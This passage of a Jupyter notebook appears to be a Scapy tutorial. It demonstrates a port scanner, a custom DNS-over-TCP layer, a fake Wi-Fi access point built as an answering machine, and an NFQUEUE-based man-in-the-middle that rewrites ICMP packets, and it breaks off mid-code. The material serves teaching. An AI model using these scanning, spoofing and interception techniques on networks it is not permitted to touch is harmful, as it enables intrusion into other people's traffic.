ZXVJ\\n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\\n\",\n      \"text/plain\": [\n       \"<matplotlib.figure.Figure at 0x7f2c2c0b2fd0>\"\n      ]\n     },\n     \"metadata\": {},\n     \"output_type\": \"display_data\"\n    },\n    {\n     \"data\": {\n      \"text/plain\": [\n       \"[[<matplotlib.lines.Line2D at 0x7f2c23b62850>]]\"\n      ]\n     },\n     \"execution_count\": 23,\n     \"metadata\": {},\n     \"output_type\": \"execute_result\"\n    }\n   ],\n   \"source\": [\n    \"ans.world_trace()\"\n   ]\n  },\n  {\n   \"cell_type\": \"markdown\",\n   \"metadata\": {},\n   \"source\": [\n    \"The `PacketList.make_table()` function can be very helpful. Here is a simple \\\"port scanner\\\":\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": 29,\n   \"metadata\": {},\n   \"outputs\": [\n    {\n     \"name\": \"stdout\",\n     \"output_type\": \"stream\",\n     \"text\": [\n      \"          45.33.32.156 45.33.49.119 \\n\",\n      \"tcp/22    SA           SA           \\n\",\n      \"tcp/31337 SA           RA           \\n\",\n      \"tcp/443   RA           SA           \\n\",\n      \"tcp/80    SA           SA           \\n\",\n      \"udp/53    dest-unreach -            \\n\"\n     ]\n    }\n   ],\n   \"source\": [\n    \"ans = sr(IP(dst=[\\\"scanme.nmap.org\\\", \\\"nmap.org\\\"])/TCP(dport=[22, 80, 443, 31337]), timeout=3, verbose=False)[0]\\n\",\n    \"ans.extend(sr(IP(dst=[\\\"scanme.nmap.org\\\", \\\"nmap.org\\\"])/UDP(dport=53)/DNS(qd=DNSQR()), timeout=3, verbose=False)[0])\\n\",\n    \"ans.make_table(lambda x, y: (x[IP].dst, x.sprintf('%IP.proto%/{TCP:%r,TCP.dport%}{UDP:%r,UDP.dport%}'), y.sprintf('{TCP:%TCP.flags%}{ICMP:%ICMP.type%}')))\"\n   ]\n  },\n  {\n   \"cell_type\": \"markdown\",\n   \"metadata\": {},\n   \"source\": [\n    \"## Implementing a new protocol\"\n   ]\n  },\n  {\n   \"cell_type\": \"markdown\",\n   \"metadata\": {},\n   \"source\": [\n    \"Scapy can be easily extended to support new protocols.\\n\",\n    \"\\n\",\n    \"The following example defines DNS over TCP. The `DNSTCP` class inherits from `Packet` and defines two field: the length, and the real DNS message. The `length_of` and `length_from` arguments link the `len` and `dns` fields together. Scapy will be able to automatically compute the `len` value.\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": 119,\n   \"metadata\": {},\n   \"outputs\": [],\n   \"source\": [\n    \"class DNSTCP(Packet):\\n\",\n    \"    name = \\\"DNS over TCP\\\"\\n\",\n    \"    \\n\",\n    \"    fields_desc = [ FieldLenField(\\\"len\\\", None, fmt=\\\"!H\\\", length_of=\\\"dns\\\"),\\n\",\n    \"                    PacketLenField(\\\"dns\\\", 0, DNS, length_from=lambda p: p.len)]\\n\",\n    \"    \\n\",\n    \"    # This method tells Scapy that the next packet must be decoded with DNSTCP\\n\",\n    \"    def guess_payload_class(self, payload):\\n\",\n    \"        return DNSTCP\"\n   ]\n  },\n  {\n   \"cell_type\": \"markdown\",\n   \"metadata\": {},\n   \"source\": [\n    \"This new packet definition can be direcly used to build a DNS message over TCP.\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": 120,\n   \"metadata\": {},\n   \"outputs\": [\n    {\n     \"data\": {\n      \"text/plain\": [\n       \"<DNSTCP  len=12 dns=<DNS  id=0 qr=0L opcode=QUERY aa=0L tc=0L rd=0L ra=0L z=0L ad=0L cd=0L rcode=ok qdcount=0 ancount=0 nscount=0 arcount=0 |> |>\"\n      ]\n     },\n     \"execution_count\": 120,\n     \"metadata\": {},\n     \"output_type\": \"execute_result\"\n    }\n   ],\n   \"source\": [\n    \"# Build then decode a DNS message over TCP\\n\",\n    \"DNSTCP(raw(DNSTCP(dns=DNS())))\"\n   ]\n  },\n  {\n   \"cell_type\": \"markdown\",\n   \"metadata\": {},\n   \"source\": [\n    \"Modifying the previous `StreamSocket` example to use TCP allows to use the new `DNSCTP` layer easily.\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": 122,\n   \"metadata\": {},\n   \"outputs\": [\n    {\n     \"name\": \"stdout\",\n     \"output_type\": \"stream\",\n     \"text\": [\n      \"\\n\",\n      \"Received 1 packets, got 1 answers, remaining 0 packets\\n\",\n      \"Begin emission:\\n\",\n      \"Finished to send 1 packets.\\n\"\n     ]\n    },\n    {\n     \"data\": {\n      \"text/plain\": [\n       \"<DNSTCP  len=49 dns=<DNS  id=0 qr=1L opcode=QUERY aa=0L tc=0L rd=1L ra=1L z=0L ad=0L cd=0L rcode=ok qdcount=1 ancount=1 nscount=0 arcount=0 qd=<DNSQR  qname='www.example.com.' qtype=A qclass=IN |> an=<DNSRR  rrname='www.example.com.' type=A rclass=IN ttl=12101 rdata='93.184.216.34' |> ns=None ar=None |> |>\"\n      ]\n     },\n     \"execution_count\": 122,\n     \"metadata\": {},\n     \"output_type\": \"execute_result\"\n    }\n   ],\n   \"source\": [\n    \"import socket\\n\",\n    \"\\n\",\n    \"sck = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  # create an TCP socket\\n\",\n    \"sck.connect((\\\"8.8.8.8\\\", 53))  # connect to 8.8.8.8 on 53/TCP\\n\",\n    \"\\n\",\n    \"# Create the StreamSocket and gives the class used to decode the answer\\n\",\n    \"ssck = StreamSocket(sck)\\n\",\n    \"ssck.basecls = DNSTCP\\n\",\n    \"\\n\",\n    \"# Send the DNS query\\n\",\n    \"ssck.sr1(DNSTCP(dns=DNS(rd=1, qd=DNSQR(qname=\\\"www.example.com\\\"))))\"\n   ]\n  },\n  {\n   \"cell_type\": \"markdown\",\n   \"metadata\": {},\n   \"source\": [\n    \"## Scapy as a module\"\n   ]\n  },\n  {\n   \"cell_type\": \"markdown\",\n   \"metadata\": {},\n   \"source\": [\n    \"So far, Scapy was only used from the command line. It is also a Python module than can be used to build specific network tools, such as ping6.py:\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": null,\n   \"metadata\": {},\n   \"outputs\": [],\n   \"source\": [\n    \"    from scapy.all import *\\n\",\n    \"    import argparse\\n\",\n    \"\\n\",\n    \"    parser = argparse.ArgumentParser(description=\\\"A simple ping6\\\")\\n\",\n    \"    parser.add_argument(\\\"ipv6_address\\\", help=\\\"An IPv6 address\\\")\\n\",\n    \"    args = parser.parse_args()\\n\",\n    \"\\n\",\n    \"    print(sr1(IPv6(dst=args.ipv6_address)/ICMPv6EchoRequest(), verbose=0).summary())\"\n   ]\n  },\n  {\n   \"cell_type\": \"markdown\",\n   \"metadata\": {},\n   \"source\": [\n    \"## Answering machines\"\n   ]\n  },\n  {\n   \"cell_type\": \"markdown\",\n   \"metadata\": {},\n   \"source\": [\n    \"A lot of attack scenarios look the same: you want to wait for a specific packet, then send an answer to trigger the attack.\\n\",\n    \"\\n\",\n    \"To this extent, Scapy provides the `AnsweringMachine` object. Two methods are especially useful:\\n\",\n    \"1. `is_request()`: return True if the `pkt` is the expected request\\n\",\n    \"2. `make_reply()`: return the packet that must be sent\\n\",\n    \"\\n\",\n    \"The following example uses Scapy Wi-Fi capabilities to pretend that a \\\"Scapy !\\\" access point exists.\\n\",\n    \"\\n\",\n    \"Note: your Wi-Fi interface must be set to monitor mode !\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": 129,\n   \"metadata\": {},\n   \"outputs\": [],\n   \"source\": [\n    \"# Specify the Wi-Fi monitor interface\\n\",\n    \"#conf.iface = \\\"mon0\\\"  # uncomment to test\\n\",\n    \"\\n\",\n    \"# Create an answering machine\\n\",\n    \"class ProbeRequest_am(AnsweringMachine):\\n\",\n    \"  function_name = \\\"pram\\\"\\n\",\n    \"\\n\",\n    \"  # The fake mac of the fake access point\\n\",\n    \"  mac = \\\"00:11:22:33:44:55\\\"\\n\",\n    \"\\n\",\n    \"  def is_request(self, pkt):\\n\",\n    \"    return Dot11ProbeReq in pkt\\n\",\n    \"\\n\",\n    \"  def make_reply(self, req):\\n\",\n    \"\\n\",\n    \"    rep = RadioTap()\\n\",\n    \"    # Note: depending on your Wi-Fi card, you might need a different header than RadioTap()\\n\",\n    \"    rep /= Dot11(addr1=req.addr2, addr2=self.mac, addr3=self.mac, ID=RandShort(), SC=RandShort())\\n\",\n    \"    rep /= Dot11ProbeResp(cap=\\\"ESS\\\", timestamp=time.time())\\n\",\n    \"    rep /= Dot11Elt(ID=\\\"SSID\\\",info=\\\"Scapy !\\\")\\n\",\n    \"    rep /= Dot11Elt(ID=\\\"Rates\\\",info=b'\\\\x82\\\\x84\\\\x0b\\\\x16\\\\x96')\\n\",\n    \"    rep /= Dot11Elt(ID=\\\"DSset\\\",info=chr(10))\\n\",\n    \"\\n\",\n    \"    return rep\\n\",\n    \"\\n\",\n    \"# Start the answering machine\\n\",\n    \"#ProbeRequest_am()()  # uncomment to test\"\n   ]\n  },\n  {\n   \"cell_type\": \"markdown\",\n   \"metadata\": {},\n   \"source\": [\n    \"## Cheap Man-in-the-middle with NFQUEUE\"\n   ]\n  },\n  {\n   \"cell_type\": \"markdown\",\n   \"metadata\": {},\n   \"source\": [\n    \"NFQUEUE is an iptables target than can be used to transfer packets to userland process. As a nfqueue module is available in Python, you can take advantage of this Linux feature to perform Scapy based MiTM.\\n\",\n    \"\\n\",\n    \"This example intercepts ICMP Echo request messages sent to 8.8.8.8, sent with the ping command, and modify their sequence numbers. In order to pass packets to Scapy, the following `iptable` command put packets into the NFQUEUE #2807:\\n\",\n    \"\\n\",\n    \"$ sudo iptables -I OUTPUT --destination 8.8.8.8 -p icmp -o eth0 -j NFQUEUE --queue-num 2807\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": null,\n   \"metadata\": {},\n   \"outputs\": [],\n   \"source\": [\n    \"    from scapy.all import *\\n\",\n    \"    import nfqueue, socket\\n\",\n    \"\\n\",\n    \"    def scapy_cb(i, payload):\\n\",\n    \"      s = payload.get_data()  # get and parse the packet\\n\",\n    \"      p = IP(s)\\n\",\n    \"\\n\",\n    \"      # Check if the packet is an ICMP Echo Request to 8.8.8.8\\n\",\n    \"      if p.dst == \\\"8.8.8.8\\\" and ICMP in p:\\n\",\n    \"        # Delete checksums to force Scapy to compute them\\n\",\n    \"        del(p[IP].chksum, p[ICMP].chksum)\\n\",\n    \"        \\n\",\n    \"        # Set the ICMP sequence number to 0\\n\",\n    \"        p[ICMP].seq = 0\\n\",\n    \"        \\n\",\n    \"        # Let the modified packet go through\\n\",\n    \"        ret = payload.set_verdict_modified(nfqueue.NF_ACCEPT, raw(p), 